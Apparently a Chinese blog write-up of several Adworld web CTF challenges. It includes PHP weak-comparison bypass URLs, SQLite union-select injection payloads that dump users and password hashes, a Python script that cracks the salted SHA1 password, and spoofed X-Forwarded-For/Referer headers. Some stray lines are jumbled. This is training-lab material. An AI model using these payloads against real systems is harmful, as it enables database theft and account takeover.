攻防世界web篇10.25

disabled_button

X老师今天上课讲了前端知识,然后给了大家一个不能按的按钮,小宁惊奇地发现这个按钮按不下去,到底怎么才能按下去呢?

在这里插入图片描述
删除disable clss="class="btn btn-default"在点击即可看到flag
在这里插入图片描述

在这里插入图片描述

simple_php

小宁听说php是最好的语言,于是她简单学习之后写了几行php代码。

<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
    echo $flag1;
}
if(is_numeric($b)){
    exit();
}
if($b>1234){
    echo $flag2;
}
?>

(1)如果a=0且a为真,我们可以的到flag1;
(2)is_number($b)的意思是判断b是否为数字,如果为数字则返回,说明此处的b不能为数字不然就执行exit()了;
(3)要求b大于1234,可以得到flag2;
综上;
b要求非数字并且大于1234,涉及到php的弱类型比较;
本文直接给出b=1235a>1234,且b不为数字;

http://ip/index.php?a=%220%22&b=1235z

在这里插入图片描述
@/opt/api/database.sqlite3
在这里插入图片描述
html复制到1111.html使用浏览器打开
在这里插入图片描述

@/opt/api/database.sqlite3

view_source

X老师让小宁同学查看一个网页的源代码,但小宁同学发现鼠标右键好像不管用了。
f12查看源码
在这里插入图片描述

FlatScience

在这里插入图片描述

在这里插入图片描述

User-agent: *
Disallow: /login.php
Disallow: /admin.php

这里的user存在注入,并且会把结果给我们回显在cookie当中。

usr=1' uninon select 1,2 --+&pw=123

判断字段数,-------order by 或者直接 union select 1,2查看有无报错。
然后判断回显位置如下图所示

在这里插入图片描述

usr=-1' union select 1,2 -- +&pw=123

2被回显在了cookie处。下面进行sqlite注入的讲解(不同于mysql)
在sqlite数据库有一张sqlite_master表,存放着相关信息
在这里插入图片描述

在这里插入图片描述

usr=1' union select 1,group_concat(tbl_name) from sqlite_master where type='table'--&pw=123

在这里插入图片描述

在这里插入代码片
usr=1' union select 1,group_concat(sql) from sqlite_master where tbl_name='Users'--&pw=123

在这里插入图片描述
name
admin%2Cfritze%2Chansi
passwd
3fab54a50e770d830c0416df817567662a9dc85c%2C54eae8935c90f467427f05e4ece82cf569f89507%2C34b0bb7c304949f9ff2fc101eef0f048be10d3bd

Users表有四个字段:id,name,password,hint,利用group_concat()分别查询name,password和hint字段。执行如下所示的命令

union select 1,group_concat(name,"++++") from Users --+
union select 1,group_concat(password,"++++") from Users --+
union select 1,group_concat(hint,"++++") from Users --+
查询到的结果如下所示
usr=1%27 UNION SELECT id, hint from Users limit 0,1--+&pw=111

在这里插入图片描述
name=+my+fav+word+in+my+fav+paper%3F%21
利用脚本对passwd进行解密

from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlib

def get_pdf():
    return [i for i in os.listdir("./") if i.endswith("pdf")]


def convert_pdf_2_text(path):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    with open(path, 'rb') as fp:
        for page in PDFPage.get_pages(fp, set()):
            interpreter.process_page(page)
        text = retstr.getvalue()
    device.close()
    retstr.close()
    return text


def find_password():
    pdf_path = get_pdf()
    for i in pdf_path:
        print "Searching word in " + i
        pdf_text = convert_pdf_2_text(i).split(" ")
        for word in pdf_text:
            sha1_password = hashlib.sha1(word+"Salz!").hexdigest()
            if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
                print "Find the password :" + word
                exit()

if __name__ == "__main__":
    find_password()

爆破密码为:ThinJerboa

在admin.php里登录
在这里插入图片描述

xff_referer

X老师告诉小宁其实xff和referer是可以伪造的。

在这里插入图片描述

X-Forwarded-For: 123.123.123.123
referer: https://www.google.com

在这里插入图片描述
cyberpeace{b252dd6ade8913315700b7cb94f41312}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

GuiltyFet

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值